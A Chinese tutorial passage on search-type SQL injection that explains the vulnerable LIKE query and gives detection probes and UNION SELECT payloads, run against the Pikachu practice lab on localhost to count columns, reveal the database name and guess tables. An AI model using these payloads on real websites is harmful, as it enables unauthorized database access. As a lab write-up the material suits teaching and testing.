1.搜索型注入漏洞产生的原因:

  在搭建网站的时候为了方便用户搜索该网站中的资源,程序员在写网站脚本的时候加入了搜索功能,但是忽略了对搜索变量的过滤,造成了搜索型注入漏洞,又称文本框注入。

2.搜索型注入的类型:

  同其他注入类型相同,由于提交表单的不同,可分为GET型(多出现于网站上的搜索)和POST型(多出现于用户名的登录搜索匹配),搜索型注入是国内系统中普遍存在的漏洞。

3.原理分析:

select username,id,email from member where username like '%$name%'

这句SLQ语句就是基于用户输入的name的值在表member中搜索匹配username,但是如果输入 'and 1=1 and '%'=' 就变成了

select username,id,email from member where username like '%$name'and 1=1 and '%'='%'

就存在了SQL注入。

4.搜索型注入的判断方法:

1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;

2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;

3 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况

4 搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况

5 根据两次的返回情况来判断是不是搜索型文本框注入了

下面方法也可以测试

'and 1=1 and '%'='

%' and 1=1--'

%' and 1=1 and '%'='

实例讲解:

源码:

一,猜字段

可判断有三个字段

http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= ' order by 3 --+&submit=搜索

二,爆字段

http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= ' UNION SELECT 1,2,3 --+&submit=搜索

三,爆库

http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= ' UNION SELECT 1,2,database() --+&submit=搜索

四,爆表

五,爆列

六,爆字段内容

其他方式

(1)猜字段数

可以判断字段数为 3

127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %' union select 1,2,3,4 and '%'='&submit=搜索    #报错
127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %' union select 1,2,3 and '%'='&submit=搜索 #不报错
127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %' union select 1,2 and '%'='&submit=搜索 #报错

(2)猜表

127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %'and(select count(*)from users)>0 and '%'='&submit=搜索

更换users,不报错就证明数据库中含有这个表

最新文章

  1. 当类型为dynamic的视图模型遭遇匿名对象
  2. python 面向对象-笔记
  3. 调用pyxmpp库PyQt编程打包成exe文件出错
  4. 【JAVA、C++】LeetCode 014 Longest Common Prefix
  5. selenium定位失败记录
  6. 数据库索引<二> 补充前篇 (上一篇抽风了,这个补上)
  7. [hadoop] WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable
  8. 数据库(学习整理)----4--Oracle数据查询(基础点1)
  9. Python3.5环境下安装wxPtyhon
  10. asp.net SignalR 一对一聊天
  11. Mac OS 终端常用命令基础
  12. SpringBoot系列——利用系统环境变量与配置文件的分支选择实现“智能部署”
  13. Django rest framework源码分析(1)----认证
  14. Newtonsoft.Json(Json.net) 的使用
  15. ipv4转化为ipv6
  16. PCL_common模块api代码解析
  17. Android 利用属ObjectAnimator,AnimatorSet性动画绘制一个弹球,加速下落,到底部时挤压,然后减速上弹
  18. win10屏幕变灰怎么解决?
  19. Scala语言学习
  20. C++ CSTRINGLIST用法

热门文章

  1. 第三十篇 玩转数据结构——字典树(Trie)
  2. 什么是nuget?nuget包是如何管理
  3. 用apscheduler写python定时脚本
  4. 深浅拷贝_python
  5. Wordpress里提示警告信息creating default object from empty value in *** 的解决方法
  6. 画图软件gliffy
  7. mybatis报错:A query was run and no Result Maps were found for the Mapped Statement、、Property [login_ip] not found on type [com.thinkgem.jeesite.common.permission.entity.PremissUser]问题解决
  8. [AST Babel] Add function name into the console log 'path.findParent(t.isFunctionDeclaration)'
  9. MyBatis(3)——配置解析
  10. bugku 你必须让他停下